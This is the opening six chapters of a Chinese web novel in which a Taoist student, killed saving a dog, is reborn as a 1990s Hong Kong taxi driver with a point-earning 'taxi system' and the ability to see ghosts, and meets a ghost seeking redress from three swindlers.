《重生港综开出租,开局送阴阳眼》
第1章 我再也不想见到泰迪
【老规矩,脑子存放处】
【金手指领取处】
【穿越点领取处】
【魅魔之体领取处】
..........
八月的太阳毒得很,晒得柏油路都冒烟。
古德背着个半旧的帆布包,站在路边等红绿灯。
他刚从一个乡下做完法事回来,给一个淹死的老大爷超度。
这活儿是他私下接的,没走学校的账。
古德是大夏道教学院22届的学生。
不过他在道教学院算不上拔尖,成绩中不溜秋,但胜在嘴皮子利索,模样也周正,很能唬住人。
这种白事私活,他接了不少,赚点外快补贴生活费。
绿灯亮了。
古德跟着人流走上斑马线。
他脑子里还在盘算着刚收的红包够不够下个月开销,盘算着要不要再去接一单。
就在这时,不远处传来一声刺耳的声音,紧接着是轮胎摩擦地面的怪响,像是什么东西被掐住了脖子。
古德猛地抬头。
只见一辆红色的出租车像喝醉了酒,歪歪扭扭地冲出了车道,直直朝着斑马线撞过来!
人群炸了锅,尖叫着四散躲避。
古德的心一下子提到了嗓子眼。
他下意识地想跑,眼角余光却扫到斑马线中央。
有一个孤零零的婴儿车被慌乱的人群遗弃在那里,正对着失控出租车的方向!
脑子还没反应过来,身体已经动了。
古德一个箭步冲过去,双手死死抓住婴儿车的把手,用尽全身力气往旁边一推!
婴儿车滑开了。
他自己却因为用力过猛,整个人失去了平衡,踉跄着暴露在了车头前。
“砰!”
一声闷响,古德感觉自己像是被一柄巨大的铁锤砸中了胸口,整个人轻飘飘地飞了起来。
世界在他眼前旋转、颠倒,声音变得遥远模糊。
就在意识即将彻底陷入黑暗的前一秒,他模糊的视线落在了那个被他推开的婴儿车上。
车篷被撞得掀开了一角,里面露出来的,不是什么哇哇大哭的婴儿。
那是一只毛茸茸的泰迪犬。
它被安全带固定在车里,小小的身子随着刚才的撞击晃了晃,正懵懵懂懂地吐着粉红色的小舌头,黑溜溜的眼睛无辜地看着飞在半空中的古德。
古德脑子里嗡的一声,一片空白。
“我……我**……是为了一只狗?”
这个荒谬又憋屈的念头像闪电一样划过他即将熄灭的意识。
如果有下辈子,老子再也不会为了一只狗,把命搭进去!
他最后想道。
然后,眼前彻底黑了。
这时,空中隐隐好似传来一道声音。
【口令正确,准!】
……
不知道过了多久。
头疼,像是有人拿着凿子在脑子里一下下地敲。
古德呻吟一声,艰难地睁开了眼睛。
视线模糊,好一会儿才聚焦。
首先映入眼帘的,是一个老式的、圆形的塑料方向盘。
方向盘后面,是同样老旧的仪表盘,上面蒙着一层灰。
一股淡淡的皮革味、汽油味和灰尘混合的味道钻进鼻孔。
他发现自己坐在驾驶座上,身上穿着一件洗得发白的廉价衬衫。
窗外,是狭窄的街道,两边是密密麻麻的招牌,繁体字写着“冰室”、“士多”、“钟表行”。行人穿着打扮……很复古,像是老电影里的样子。
这是哪儿?
我不是被车撞了吗?
古德茫然地环顾四周。
这是一辆出租车,黄色的车身,红色的顶灯,典型的……九十年代香江出租车?
就在这时,一股不属于他的记忆碎片,如同决堤的洪水,猛地冲进了他的脑海!
剧烈的头疼让他忍不住抱住了脑袋。
一幅幅画面、一段段信息强行塞了进来:自己成了一个同样叫古德的年轻人,二十二岁,无父无母的孤儿,从小奋斗,现在是在香江开出租车为生。
住在……阴阳路?
对,阴阳路13号。
唯一的财产就是这辆破旧的皇冠出租车。
刚才……刚才为了躲一只突然窜出来的泰迪犬,他猛踩刹车,头撞到了方向盘上,晕了过去……
记忆融合的过程混乱而痛苦。
过了好一阵子,古德才喘着粗
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气,松开了抱着头的手。
他靠在驾驶座上,额头上全是冷汗。
他明白了。
他**,又活了。
不是穿越,更像是……重生?
在这个同样叫古德的身体里,觉醒了前世的记忆。
现在的他,思维和认知,是以前世那个道教学院学生古德为主的。
他抬起手,看着这双略显粗糙、指关节有些大的手,这不是他原来那双握惯了毛笔和罗盘的手。
他摸了摸脸,触感陌生。
“哈……”
古德忍不住苦笑出声,声音嘶哑,“这叫什么事儿啊……”
他是为了一只泰迪犬被撞死的。
重生醒来,居然又是因为躲另一只泰迪犬撞了头才恢复了记忆。
“我跟泰迪是有什么孽缘吗?”
他低声嘟囔着,心里五味杂陈。
有点荒谬,有点憋屈,又有点劫后余生的庆幸。
不管怎么说,能重活一次,已经是天大的运气了。
他定了定神,开始梳理所有的记忆,以及自己对这个新世界的认知。
现在是……1993年的香江?
古德望向车窗外。
街道的景致既熟悉又陌生。
熟悉是因为记忆里他已经生活在这里二十二年。
陌生是和他前世记忆产生了冲突感,而且感觉这个九十年代香江有些说不出的别扭。
他回忆起前世知道的那些名人、明星……再和这一辈子的记忆做对比,发现记忆里那些熟悉的身影一个都没有出现过。
取而代之的,是一些模糊的、像是从电影里走出来的人物形象。
例如他曾经有个留着长发的,叫浩南的男子坐过他的车。
这个世界,似乎和他前世记忆里的那个香江,有了巨大的不同。
少了那些真实的明星名人,多了些……虚构角色的影子?
而他现在的身份,简单得可怜。
烂柿子孤儿院出来的一个孤儿,一个开出租的的士佬。
唯一的财产,就是这辆破车,还有……一套房子。
房子?
古德猛地坐直了身体,瞳孔瞬间放大。
阴阳路13号!
第2章 阴什么路?什么眼?
阴阳路?!
这个名字像一道闪电劈进他的脑海!
这不是他前世看过的一部香港恐怖片系列的名字吗?
那里面全是各种鬼故事!
他赶紧回忆自己在阴阳路居住的记忆。
自己在阴阳路住了五年?
好像……好像也没遇到什么特别邪门的事情。
日子过得挺平淡的。
不过……他模模糊糊记得,报纸上好像时不时会登一些“离奇死亡”、“某某大厦闹鬼”之类的新闻,但他以前根本没当回事,看过就忘。
“巧合吧……肯定是巧合……”古德咽了口唾沫,努力安慰自己,“说不定就是条普通的街道,名字撞了而已。”
他试图说服自己,但心里那点不安却像小虫子一样爬来爬去。
就在他心神不宁的时候,一个冰冷、毫无感情的机械声音,突兀地在他脑海中响起:
【出租车系统激活成功。本系统为出租佬辅助系统,旨在帮助宿主通过出租车载客服务,积累资源,提升能力,最终走向人生巅峰。具体功能请宿主自行查询。】
古德:“……”
他嘴角不受控制地抽搐了一下。
好嘛,穿越重生的标配,金手指到账了。
只是……这金手指的名字……出租车系统?
靠开出租车走向人生巅峰?
古德心里一阵无语。
别人家的系统,要么签到打卡就送钱送房送**,要么直接神豪开局。
自己这个倒好,绑定出租车?
还得靠拉客赚钱?
这玩意儿……是不是有点太拉胯了?
他忍不住在心里疯狂吐槽。
不过,吐槽归吐槽,有总比没有强。
他试着集中精神,去“查看”这个系统。
眼前似乎浮现出一个半透明的界面,信息涌入脑海。
原来,这个系统是通过他载客行驶的公里数来积累“出租车点数”。
规则很简单:每载客行驶一公里,就能获得1点。
空车跑不算数,必须车上有乘客才行。
积累的点数,可以用来强化自己的体质,或者提升技能。
【系统提示:前期加点需要的点数比较少,但越往后,需要的点数就会成倍增加。】
“还要靠客人才能刷点数……”古德看着那规则,又是一阵牙酸,“香江就这么屁大点地方,一天能跑多少公里?能拉几个客?这得攒到猴年马月去?”
他正琢磨着这系统的“坑爹”之处,脑海中又“叮”的一声。
【新手礼包已发放,请宿主查收。】
还有新手礼包?
古德精神一振,赶紧“打开”。
【恭喜宿主获得:阴阳眼。】
阴阳眼?!
古德刚有点期待的心情瞬间凉了半截,眼睛瞪得溜圆。
“系统你搞什么飞机?”
他差点骂出声,“新手礼包给阴阳眼?这是嫌我死得不够快吗?在这鬼地方……呸,在这地方开阴阳眼?!”
他简直无力吐槽。
这系统怕不是个坑吧?
刚重生到疑似有鬼的地方,就送个见鬼的技能?
就在古德对着这坑爹的新手礼包满心腹诽的时候,出租车的后门“咔哒”一声,被人从外面拉开了。
一股带着暑气的风灌了进来。
一个年轻男人的声音响起,带着点不耐烦:
“师傅,去皇冠酒店。”
古德被后门拉开的声音惊醒,立刻收敛心神,把注意力从脑海里的系统界面拉回现实。
他下意识地朝后视镜瞥了一眼。
后座上坐进来一对打扮时髦的年轻男女。
男的穿着花衬衫,头发抹得油亮。
女的穿着紧身短裙,画着浓妆。
两人一上车就腻歪在一起,仿佛这出租车后座是他们家的沙发。
古德很快调整好心态,既然有生意来了,就先做生意。
他挂上档,松开手刹,车子平稳地汇入车流。
“皇冠酒店,对吧?”
古德确认了一句,声音平稳,带着点职业性的客气。
“嗯嗯,快点开啦师傅。”
男的随口应道,头都没抬,继续搂着女伴。
车子开动没多久,后座就传来窸窸窣窣的声音,还有压抑的嬉笑。
古德目不斜视地看着前方,专心开车。
开出租的这段时间,他什么场面没见过?
后座乘客干啥的都有,只要别吐他车上,别打架,他都懒得管。
“姐夫……”女的突然娇滴滴地开口,声音甜得发腻,“你这
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样带我去开房,姐姐知道了,会不会跟你离婚呀?”
男的嘿嘿一笑,声音带着点得意和满不在乎:“她?她哪有你有趣,整天板着个脸,烦都烦**。离就离呗,离了正好可以娶你!”
“真的呀?姐夫你对我真好!”
女的咯咯笑起来,像只得意的小母鸡。
古德握着方向盘的手微微一顿,嘴角忍不住抽动了一下。
好家伙,姐夫小姨子?这关系够乱的。
不过他也只是在心里嘀咕了一句,脸上依旧没什么表情。
比这更离谱的乘客他都拉过,早就见怪不怪了。
他稳稳地把车开到灯火辉煌的皇冠酒店门口。
“到了,承惠五十块。”
古德停好车,报了价。
那男的随手甩出一张一百的港币,大方地说:“不用找了!”
然后搂着那女的,急不可耐地下了车,直奔酒店大门。
古德看着那对男女消失在旋转门后,摇了摇头,把钱收好。
他开着车,在附近转悠了一会儿,找了个相对僻静以及点昏暗的街角,把车靠边停下。
他熄了火,拉上手刹,把车顶的“空车”灯牌按灭。
暂时不接客了。
他需要点时间,好好研究一下脑子里那个突然冒出来的系统。
他靠在椅背上,闭上眼睛,集中精神,再次唤醒了那个半透明的系统界面。
首先映入眼帘的是这次行程的结算信息。
【行程结算】
起点:未知路口
终点:皇冠酒店
载客人数:2
行驶里程:7.8公里
获得点数:7.8点
才七点八点?古德看着那个数字,心里叹了口气。
从刚才上车的地方到皇冠酒店,虽然不算特别远,但七点八公里也不算少了。
可这点数……按照系统规则,一公里才一点,跑一趟才赚不到八点。
这要攒到猴年马月才能加一次点?
香江就这么大,一天能跑多少公里?
他心里那点因为得到系统而升起的野心,又被这现实的收益泼了一盆冷水。
他甩甩头,暂时不去想这个,继续查看其他功能。
他意念一动,打开了那个所谓的“人物面板”。
第3章 个人面板开启
一个更清晰的界面在他脑海中展开:
【姓名:古德】
体质:5/10(正常成年男性平均值为4。常年开车奔波,偶尔健身,身体素质尚可。)
魅力:8/10(正常成年男性平均值为4。相貌英俊,气质干净,对异性颇具吸引力。)
精神:6/10(正常成年男性平均值为4。因宿慧觉醒,思维清晰,感知敏锐。)
可用点数:7.8
古德看着这个面板,心里稍微平衡了一点。
面板虽然简单,但是该有的都有。
体质5点,比普通人强一点,这可能是因为他是一个年轻力壮、经常跑动的出租车司机缘故。
魅力8点?
他下意识地摸了摸自己的脸,融合的记忆里,他确实长得不错,都可以比拟屏幕前的靓仔们,属于那种可以靠脸吃饭,但是非要靠自己的那种。
精神6点,比普通人高两点,这应该就是自己这个重生者带来的福利了,脑子确实比原来那浑浑噩噩的状态清醒多了。
而且数值上限是10点,看来还有很大的提升空间。
就是不知道需要多少公里数,可以提升一点。
接着,他又点开了“技能面板”。
技能面板分成了几个大类。
首先是【日常技能】:
驾驶(LV1):熟练驾驶普通车辆,熟悉本地路况。
粤语(LV1):流利使用粤语进行日常交流。
厨艺(LV1):掌握基本家常菜做法。
(后面还有一些杂七杂八的生活小技能,都是LV1)
古德扫了一眼,这些都是自己在这个世界生活二十多年积累下来的基本技能,等级不高,但够用。
不过他最关心的部分是前世技能。
前世的技能在面板里,变成看一个技能树的形式。
在面板上清晰地分成了六个分支:山、医、命、相、卜、体。
他怀着期待的心情,点开了“山”术分支。
里面罗列着不少他前世在道教学院学过的、或者至少是翻过书知道名字的技能:
基础呼吸法门(LV0):学过基础,未入门。
驱邪符(LV0):见过符图,未掌握。
金光咒(LV0):读过典籍,未入门。
净天地神咒(LV0):能背诵,不明其意。
(还有其他一些符咒、法印的名字,清一色的LV0)
他又依次点开“医”、“命”、“相”、“卜”、“体”:
祝由十三科(LV0):了解理论,无实践。
紫微斗数(LV0):略懂排盘,推算不准。
风水堪舆(LV0):知道基本概念。
六爻占卜(LV0):会摇卦,不会解。
八极拳(LV0):看过拳谱,打过套路,实战为零。
禹步(LV0):知道步法,走步标准。
.......
清一色的LV0!
后面都跟着一个灰色的“+”号,表示可以用点数提升,但是目前点数不够。
古德看着这一排排的LV0,非但没有沮丧,眼睛反而亮了起来!
之前觉得这系统坑爹,是因为觉得点数难赚,提升有限。
但现在看到这些技能树,他明白了,这系统哪里是坑爹,简直是座金山啊!
这些技能,都是他前世梦寐以求却受限于天赋、资源、环境而无法真正掌握的东西!
尤其是那些道法相关的山术、命术,在末法时代的蓝星,根本就是传说中的东西,学院里的老师也多是理论派。
但现在,只要他有足够的公里点数,就能把这些技能从LV0一路点上去!
LV0(未入门):仅了解理论或皮**,无法实际运用。提升至LV1需10点。
LV1(入门):初步掌握,可进行简单应用,效果微弱且不稳定。提升至LV2需100点。
LV2(熟练):掌握核心,能较稳定地运用,效果初显。提升至LV3需1000点。
LV3(精通):融会贯通,运用自如,效果显著。提升
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至LV4需10000点。
LV4(小成):登堂**,举一反三,效果强大。提升至LV5需100000点。
LV5(大成):炉火纯青,近乎道法自然,效果超凡。
至于LV5后面,以及**境界,系统面板上暂时没有显示。
但古德猜测,那可能需要将某一类技能提升到极高层次,或者需要特殊的机缘才能触及,消耗的点数恐怕更是天文数字。
不过此刻古德可以想想以前想都不敢想的事情。
比如成仙作祖?
现在似乎有了一条清晰可见的路径!
只要有足够的点数,把金光咒点到LV5大成,那得是什么光景?
把八极拳点到LV5,是不是真能一拳开山?
一股前所未有的兴奋感涌上心头,之前对系统的嫌弃一扫而空。
这哪里是出租车系统,这分明是通往超凡的直通车票!
虽然公里数难赚,但路是通的!
“呼……”古德长长地吐出一口气,靠在放倒了一半的驾驶座椅背上,翘起二郎腿。
车窗外是九十年代香江的晚霞,此时虽然天未黑,但已霓虹闪烁,车流不息。
他冷静下来。
兴奋归兴奋,路要一步步走。
眼下最重要的,还是老老实实开出租车,赚公里点数。
至于鬼?
阴阳眼是开了,但到现在为止,除了觉得这世界有点怪,也没真见到什么不干净的东西。
也许是自己吓自己?
只要自己苟住,努力赚够公里数把点数加上去,也有自保能力。
就算真遇到了……
古德脑子里闪过前世港产鬼片里那些经典的道士形象,九叔、四目道长、千鹤道长……
不知道这个世界有没有这些高人存在?
或许可以打听一番。
他正盘算着未来的规划,是先去熟悉一下原主常跑的路线,还是研究下怎么提高载客效率……
“咔哒!”
后车门又毫无预兆地被人猛地拉开了!
第4章 副驾驶上的阿婆
古德吓了一跳,连忙转头看去。
只见三个男人慌慌张张地挤了进来,一屁股坐在后座上,把不算宽敞的后座塞得满满当当。
三个人都是满头大汗,脸色发白,神情紧张到了极点,眼神飘忽不定,像是刚干了什么见不得人的事,或者被什么东西追着跑。
为首的是个约莫四十岁左右的中年男人,留着中长发,戴着一副老式的、镜片上有两个小圆孔的墨镜(俗称“盲公镜”),此刻镜片后的眼神充满了慌乱。
他旁边是个留着寸头的男人,看起来年纪也不小了,长相有点老气,眉宇间带着点凶悍气,但现在这凶悍也被惊慌盖住了。
最后挤进来的是个戴着圆框眼镜的年轻人,看起来比较瘦弱,脸色苍白,嘴唇哆嗦着,一副胆小怕事、快要哭出来的样子。
“喂!三位,不好意思,我收工了,不接客了!”
古德皱着眉头,指了指车顶熄灭的“空车”灯,语气带着点被打扰的不悦。
但那三个男人根本没听他说什么,或者说根本没心思听。
那个戴盲公镜的中年男人喘着粗气,声音急促又带着不容置疑的命令口吻,拍着驾驶座的椅背:“开车!快开车师傅!去万安殡仪馆!快!”
寸头男也在一旁帮腔,声音发颤:“对对对!去万安殡仪馆!车费我们给双倍!不,三倍!快开车啊!”
那个戴圆框眼镜的年轻人则缩在角落里,双手紧紧抓着前排座椅的靠背,指关节都发白了,嘴里不停地小声念叨着什么。
他眼神惊恐地瞟向车窗外,仿佛外面有什么可怕的东西在追他们。
那寸头男说着,已经手忙脚乱地从口袋里掏出三张皱巴巴的百元港币,隔着座椅靠背,几乎是塞到了古德手里。
“师傅,帮帮忙,快开车啦!”
他的声音带着明显的颤抖,额头上全是亮晶晶的汗。
古德眉头一挑,捏了捏手里的钞票。
行吧,有钱不赚王八蛋,更何况还能赚公里点数。
他不再多问,坐直身子,啪嗒一声按下计价器,发动了车子。
引擎发出一阵沉闷的轰鸣,黄色的出租车再次汇入傍晚的车流之中。
九十年代的香**灯初上,霓虹招牌开始闪烁,街道上人来人往,很是热闹。
但车内的气氛却异常压抑。
后座那三个人挤在一起,一声不吭,只有粗重的呼吸声和偶尔因为紧张而吞咽口水的声音。
古德透过后视镜能看到,他们时不时就惊恐地回头张望,好像后面有鬼追着一样。
古德心里也有些嘀咕,这三个人慌成这样,别是真惹了什么麻烦吧。
不过他也没多想,只是专注地开着车,朝着他们说的万安殡仪馆方向驶去。
殡仪馆在郊区,路途不算近,这次能赚到不错的公里数了。
天色渐渐暗了下来,路灯依次亮起。
车子开到一个十字路口,正好赶上红灯。
古德缓缓踩下刹车,车子停稳。
他无聊地看向窗外,街边是一家卖电子元件的店铺,橱窗里摆着各种大小的电视机,屏幕上闪着雪花点。
就在这时,他眼角的余光似乎瞥见副驾驶的车门动了一下。
他下意识地转过头。
副驾驶座上,不知什么时候,无声无息地多了一个人。
一个穿着深色碎花衫、头发花白、梳得整整齐齐的阿婆,正安安静静地坐在那里,双手交叠放在腿上。
“我靠!”
古德吓得浑身一激灵,差点从座位上弹起来。
心脏咚咚咚地狂跳,握着方向盘的手心瞬间冒出一层冷汗。
这阿婆什么时候上来的?
他怎么一点动静都没听到?
他惊魂未定地仔细看向那位阿婆。
车窗外的霓虹灯光偶尔扫过她的侧脸,让她的面容显得有些模糊不清。
但古德越看,心里越是发毛。
这阿婆的眉眼,竟然和他前世看的那个鬼婆婆罗岚有五六分相似!
这可是著名的鬼后!
这个节点,有个像罗岚阿婆出现。
古德咽了口唾沫,感觉喉咙发干。
他强压下心里的恐惧,尽量让自己的声音听起来正常一点,带着点客气的疑问:“阿……阿婆?您……您什么时候上车的?要去边度啊?”
那阿婆听到古德的话,布满皱纹的脸上竟然也露出了一丝明显的惊讶。
她的身子没有动,只有脑袋像是生了锈的机器一样,非常缓慢地,一格一格地转了过来,面向古德。
她的眼神有些空洞,声音飘忽不定,像是从很远的地方传来:“后生仔……你……睇得到我?”
这句话像是一盆冰水,从古德的头顶浇下,让他瞬间从头凉到脚。
最坏的情况出现了!
系统送的新手礼包阴阳眼,这就派上用场了?
上来就是个大的?
他脸上的肌肉僵硬,挤出一个比哭还难看的笑容,继续硬着头皮装傻:“阿婆,你开玩笑吧?你这么大个活人坐在这里,我怎么会看不到你?是不是要去哪里啊?”
那阿婆盯着古德看了几秒钟,脸上慢慢露出一个极其古怪的笑容,皱纹都挤在了一起,看起来有点阴森。
“后生仔,唔好扮野啦。我知你有阴阳眼。”
她的声音依旧飘忽,但语气肯定,“不过你别害怕,我不系来找你嘅。我系来找后面那三个衰人嘅。”
就在古德和阿婆对话的时候,后座
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那三个男人的反应比古德还大。
“靓……靓仔!你……你同边个讲话啊!”
戴盲公镜的中年男人声音干涩得像是砂纸在摩擦,脸上的血色褪得一干二净,惊恐地瞪着古德的侧脸,又看看空无一人的副驾驶座。
“就是啊!你身边没人啊!你别这样吓我啊!”
寸头男也吓得够呛,声音都变调了,身体拼命往后缩,恨不得嵌进座椅里。
那个戴圆框眼镜的年轻人更是吓得快哭了,带着哭腔喊道:“下车!我们要下车!师傅你停车!钱我们不要了!放我们下车啊!”
他们的反应彻底证实了古德的猜测。
副驾驶座上这位,确实不是人。
虽然心里还是有点发毛,毕竟是第一次亲眼见到这种东西。
但古德前世毕竟是道教学院出来的,**见过不少,法事也做过几场,理论知识丰富,胆子比普通**得多。
最初的惊吓过后,他反而稍微镇定了一些。
系统都出来了,见个鬼好像也不是不能接受?
他没有理会后座三个快要崩溃的男人,深吸一口气,转向副驾驶的阿婆,尝试着沟通,语气也镇定了一些:
“阿婆,后面那三个人……他们怎么惹到你了?如果可以的话,不如同我讲讲?正所谓冤家宜解不宜结。
阳人有阳间的规矩,阴人有阴间的路数,老是缠着活人,对两边好像都不太好。活人阳气受损,容易生病走霉运,你们阴人滞留阳间太久,好像也……也不太好吧?”
他把自己前世学到的一些民俗说法半生不熟地搬了出来。
那阿婆听了古德的话,沉默了一下,似乎在思考。
她那空洞的眼神在古德脸上停留了一会儿,又缓缓转向后座那三个瑟瑟发抖的男人。
过了一会儿,她才幽幽地叹了口气,那叹息声轻得像一阵烟。
“后生仔,你讲得都有几分道理。”
她慢慢地说道,“好,我就给个机会你。那三个衰人,骗了我女儿的钱,那笔钱系我女儿辛苦赚来的。而且……”
她停顿了一下,抬起一只手,慢吞吞地摸了摸自己的脖子,脸上露出一种很不舒服的表情。
“我的脖子好不舒服,好似有个绳子缠住我。你可以帮我去我的坟前看下吗,帮我看下是咩回事。
只要帮我解决这个事情,再同我个女道歉,这件事就算数。”
她说完,又深深地看了古德一眼,那眼神意味深长。
然后,她的身影开始变淡,就像投入水中的墨迹,慢慢地消散开来,越来越透明,最后彻底消失在副驾驶座上,仿佛从未出现过。
只留下车内一片死寂,以及后座三个男人粗重而惊恐的喘息声。
第5章 阴阳路?升棺发财?
副驾驶座上的阿婆就像从未出现过一样,彻底消失了。
只留下车内一股若有若无的、像是旧纸张和灰尘混合的凉气,慢慢散去。
后座那三个男人的脸色白得像刚粉刷过的墙,冷汗顺着鬓角往下淌。
车厢里死寂了几秒钟,然后猛地爆发出急促的喘息和压抑的惊呼。
“下……下车!我们要下车!”
戴盲公镜的中年男人声音嘶哑,几乎是吼出来的,手哆哆嗦嗦地就去拉车门把手。
“对!下车!快停车!”
寸头男也惊慌失措地附和,身体使劲往车门边缩,好像离驾驶座远一点就能安全些。
古德叹了口气,知道这趟活是到头了。
他打了转向灯,慢慢把车靠向路边。
车子还没完全停稳,那墨镜男和寸头男就迫不及待地推开车门,踉踉跄跄地冲了下去,站在马路边惊魂未定地大口喘气,还不停地四处张望,仿佛怕那个看不见的东西跟下来。
古德也解开安全带,打开车门下车。
他看着那三人狼狈的样子,摇了摇头,还是决定把话带到。
他走到他们面前,语气平静地说:“几位,刚才那位……婆婆,让我给你们带个话。她说,你们骗了她女儿的钱,那是她的棺材本。
只要你们把钱还回去,再诚心道个歉,这事就算了了。不然,她可能还会来找你们。”
那三个人听到这话,脸色更加难看了,眼神躲闪,互相看了看,都有些惊疑不定。
他们之前确实是遇到了一些没法用常理解释的怪事,没想到在车上又遇到这么邪门的事。
再加上**这事是真的,心里本来就虚,才被古德跟空荡荡的副驾驶对话吓坏。
但一想到那笔已经到手的、数额不小的钱,贪念又压过了恐惧。
戴墨镜的男人强装镇定,挺了挺腰板,色厉内荏地对古德说:“喂,的士佬,你少在这里装神弄鬼吓唬人!我们……我们下车,车钱不用你找了!
刚才的事,你最好当没发生过,也别到处乱说!不然有你好看!”
说完,还虚张声势地瞪了古德一眼。
古德听了,无所谓地耸了耸肩。
得,好言难劝该死的鬼。
他可不是什么圣母,话带到了,听不听是人家的事。
他拉开车门,准备回驾驶座。
不过那个戴圆框眼镜的年轻人此时才没有完全下车。
下车时,他动作慢吞吞的,脸上还带着恐惧和犹豫。
他磨蹭到古德旁边,小声地问:“师……师傅,能不能……能不能给我留个传呼机号码?万一……万一有什么事……”
古德看了他一眼,这小子倒是三人里胆子最小,但也最机灵一点的。
他点点头,从车里翻出一个小本子和一支圆珠笔,唰唰写下几个数字,撕下来递给他。
“号码给你,咨询收费,起步价五十,按分钟计费,不足一分钟按一分钟算。”
古德一本正经地说,仿佛开的不是出租车,而是律师事务所。
眼镜仔接过纸条的手一顿,脸上露出哭笑不得的表情,讪讪地笑了笑,没再说什么,赶紧下车跑向另外两人。
那墨镜男见眼镜仔过来,没好气地问:“你刚才跟那开车的嘀咕什么了?”
眼镜仔把古德留号码和说要收费的事说了。
墨镜男朝地上啐了一口,骂道:“呸!我就知道!原来是同行,搞这种下三滥的手段吓唬人,还想**!妈的,还白搭了他三百块车钱!”
他虽然嘴上骂得凶,但想起刚才古德对着空气说话那瘆人的一幕,心里还是****的,终究没敢再去找古德麻烦。
三个人互相拉扯着,脚步匆匆地消失在了街角。
古德看着他们走远,摇了摇头,回到车上。
他把“暂停载客”的牌子挂好,感觉有点心累。
今天的信息量实在太大了,重生、系统、见鬼……他需要找个地方静静,吃点东西,好好消化一下。
他看了一眼系统界面。
【当前点数:10.5】
刚才那趟活,算上之前去皇冠酒店的,一共赚了十点五。
刚好够把一个LV0的技能点到LV1。
虽然只是初步掌握,但至少能让他有点底气,下次再遇到类似的情况,不至于像刚才那样只能干看着,手足无措。
而且,他前世在道教学院学的那些民俗驱邪方法,虽然理论居多,但说不定在这个世界也能有点效果?
看来得抽空去准备点东西了,糯米、铜钱、符纸什么的,毕竟这个世界,是真的有鬼啊!
想到这里,他发动车子,决定先填饱肚子再说。
他轻车熟路地把车开到附近一条热闹的食街,停在了一家名叫“荣记茶餐厅”的小店门口。
这家店是一对姓陈的兄妹开的,哥哥炒菜,妹妹收银端盘子。
古德是这里的常客,因为这里的吃的物美价廉。
店里人不多,古德找了个靠墙的位置坐下。
妹妹阿秀拿着菜单走过来,笑着打招呼:“古哥,今天这么早才收工啊?老样子,干炒牛河?”
古德点点头:“嗯,麻烦快点,饿扁了。”
等炒河粉的功夫,古德的手指无意识地在油腻的桌面上敲着,脑子里还在回想刚才的事。
那个阿婆,那三个**的家伙……越想越觉得熟悉。
这情节,不就是他前世看过的那个《阴阳路》系列里某一集的故事吗?
好像叫《升棺发财》?
讲的就是几
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个家伙骗了**钱,被鬼婆婆找上门戏弄的故事。
古德嗤笑一声,心里暗道:“原来是他们三个活宝。行吧,既然不听劝,那就先让他们吃点苦头好了。”
电影里那个鬼婆婆好像主要是戏耍吓唬他们,没真要他们的命。
但这是真实的世界,鬼知道会发生什么意外?
鬼话连篇,可不能全信。自己还是得做点准备,万一那几个衰仔顶不住了,回头来找自己求助,也不至于抓瞎。
他摸着下巴,开始盘算那宝贵的十点公里数加在哪个技能上最划算。
是先把“辟邪符”点了,好歹能辟邪驱阴吓唬鬼?
还是点“护身印”,增加点应急防护能力?
热腾腾的干炒牛河端上来了,镬气十足,牛肉滑嫩,河粉油润。
古德狼吞虎咽地吃了几口,肚子里有了食,心思也活络起来。
“十点还是太少了点……”
他嚼着河粉,含糊不清地嘀咕,“要不……今晚再加个班?再多赚几点?”
最终,古德还是打消了熬夜加班赚点数的念头。
一来身体刚经历重生和惊吓,确实有些疲惫;二来这大晚上的,万一又接到什么“特殊乘客”,以自己现在这半吊子水平,怕是应付不来。
稳妥起见,还是先提升一下自身实力。
那宝贵的十点公里数,他决定加在“辟邪符”上。
这道符他前世在道教学院没少画,算是他比较拿手的一道基础符箓,虽然那时候画出来也就是个心理安慰,屁用没有。
但现在有系统加持,说不定真能产生点效果。
系统说明写着,辟邪符能驱散阴气,防止鬼祟近身,是道教最基础的防护符箓之一。
不过画符需要工具,朱砂、黄表纸、符笔等等。
好在他开出租车跑的地方多,隐约记得在深水埗那边有家老旧的纸扎铺,兼卖些香烛元宝之类的东西,说不定有他需要的。
想到这儿,古德三下五除二把盘子里剩下的炒河粉扒拉进嘴里,又灌了几口凉茶,然后掏出钱放在桌上,对着忙碌的老板兄妹喊了一声:“钱放桌上了,走了啊!”
妹妹阿秀正低头算账,闻声抬头,只看到古德匆匆跑出店门的背影,她嘀咕了一句:“古哥今天吃这么快,怎么感觉他今天有点奇奇怪怪的。”
这时,一阵摩托车的轰鸣声由远及近,停在了茶餐厅门口。
一个穿着皮夹克、身材高大、眉眼带着几分不羁的帅气男人摘下头盔,走了进来。
阿秀眼睛一亮,脸上立刻堆起了笑容,迎了上去:“琛哥,今天这么晚收工啊?吃点什么?我让我哥给你做。”
被称为琛哥的男人随意地摆摆手,随口道:“老样子,叉烧饭。”
第6章 加点后的第一次画符
古德开着车,七拐八绕,来到了深水埗一条略显偏僻的旧街。
这条街在夜色里显得冷清,街灯昏黄,地面坑洼,偶尔有几只野猫在垃圾桶边翻找,发出窸窸窣窣的声响。
两旁的铺面大多都有些年头,铁皮卷闸上斑驳的锈迹和褪色的广告牌,透着一股说不清的落寞。
他在一家名为“福寿斋”的纸扎铺门口停下。
“福寿斋”三个字的牌匾漆色早已斑驳,字迹模糊,在昏暗的街灯下更显阴森。
透过玻璃窗往里看,只见两间门面里堆满了纸人、纸马、纸别墅,还有金山银山,花花绿绿的,却没半点喜气。
纸人脸上的笑容因为光影错落而变得诡异,像是下一秒就会扭动眼角盯着你。
店老板是个五十岁上下的秃头男人,脑袋锃亮,光可鉴人。
他正拿着鸡毛掸子,有一下没一下地掸着货架上的灰尘,动作懒散,一副百无聊赖的样子。
古德推门进去,门上的铃铛发出清脆的响声。
“老板,买东西。”古德开口。
秃头老板抬起头,眯着眼睛打量了一下古德,慢悠悠地问:
“后生仔,买什么?金银衣纸?童男童女?我这里的货很全的,手工一流,保证下面的人收到满意。”
古德摇摇头,直接说明来意:
“我不买那些。有没有画符用的东西?朱砂,黄表纸,还有……嗯,符笔有吗?”
他其实没抱太大希望,符笔这东西比较专业,一般纸扎铺未必有。
秃头老板闻言,小眼睛里闪过一丝不易察觉的光,他放下鸡毛掸子,又上下打量了古德一番,才慢吞吞地说:
“朱砂和黄纸有。符笔嘛……巧了,前几天刚收了一支老狼毫,看你识不识货了。”
说着,他转身在一个堆满杂物的柜台下面摸索了半天,掏出几个盒子。
一个盒子里是暗红色的朱砂粉,另一个盒子里是裁切好的黄表纸。
最后,他拿出一个细长的木盒,打开里面是一支看起来有些年头的毛笔,笔杆温润,笔锋尖齐。
